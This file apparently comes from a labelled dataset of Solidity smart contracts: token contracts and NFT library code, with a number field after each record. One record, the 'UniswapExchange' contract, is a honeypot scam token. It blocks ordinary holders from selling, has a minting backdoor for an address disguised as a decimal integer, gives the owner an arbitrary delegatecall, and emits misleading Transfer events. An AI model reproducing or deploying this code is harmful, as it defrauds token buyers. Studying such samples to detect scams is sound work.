uint256 constant founderSupply = 60000000 * (10 ** uint256(decimals));
uint256 constant defoundSupply = 50000000 * (10 ** uint256(decimals));
uint256 constant year1Supply = 75000000 * (10 ** uint256(decimals));
uint256 constant year2Supply = 75000000 * (10 ** uint256(decimals));
uint256 constant bountyAndBonusSupply = 40000000 * (10 ** uint256(decimals));
uint256 constant founderFrozenUntil = 1559347200;
uint256 constant defoundFrozenUntil = 1546300800;
uint256 constant year1FrozenUntil = 1559347200;
uint256 constant year2FrozenUntil = 1590969600;
event Burn(address indexed burner, uint256 value);
constructor(
address _icoAddress,
address _founderAddress,
address _defoundAddress,
address _year1Address,
address _year2Address,
address _bountyAndBonusAddress
) public {
totalSupply_ = 500000000 * (10 ** uint256(decimals));
balances[_icoAddress] = icoSupply;
balances[_bountyAndBonusAddress] = bountyAndBonusSupply;
emit Transfer(address(0), _icoAddress, icoSupply);
emit Transfer(address(0), _bountyAndBonusAddress, bountyAndBonusSupply);
_setFreezedBalance(_founderAddress, founderSupply, founderFrozenUntil);
_setFreezedBalance(_defoundAddress, defoundSupply, defoundFrozenUntil);
_setFreezedBalance(_year1Address, year1Supply, year1FrozenUntil);
_setFreezedBalance(_year2Address, year2Supply, year2FrozenUntil);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(freezedAccounts[msg.sender] == 0 || freezedAccounts[msg.sender] < block.timestamp);
require(freezedAccounts[_to] == 0 || freezedAccounts[_to] < block.timestamp);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function batchTransfer(address[] _tos, uint256[] _values) public returns (bool) {
require(_tos.length == _values.length);
uint256 arrayLength = _tos.length;
for(uint256 i = 0; i < arrayLength; i++) {
transfer(_tos[i], _values[i]);
}
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(freezedAccounts[_from] == 0 || freezedAccounts[_from] < block.timestamp);
require(freezedAccounts[_to] == 0 || freezedAccounts[_to] < block.timestamp);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _setFreezedBalance(address _owner, uint256 _amount, uint _lockedUntil) internal {
require(_owner != address(0));
require(balances[_owner] == 0);
freezedAccounts[_owner] = _lockedUntil;
balances[_owner] = _amount;
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function () external payable {
revert();
}
} | 1 | 4,446 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,936 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "TRNCoins";
string public constant TOKEN_SYMBOL = "CTRN";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x7262F84bc6eABc71B14517E4fE40F5d33d4B03E9;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 1 | 2,727 |
pragma solidity ^0.8.0;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
pragma solidity ^0.8.0;
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
pragma solidity ^0.8.0;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
pragma solidity ^0.8.0;
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
pragma solidity ^0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity ^0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
uint count = 0;
uint length = _owners.length;
for( uint i = 0; i < length; ++i ){
if( owner == _owners[i] ){
++count;
}
}
delete length;
return count;
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
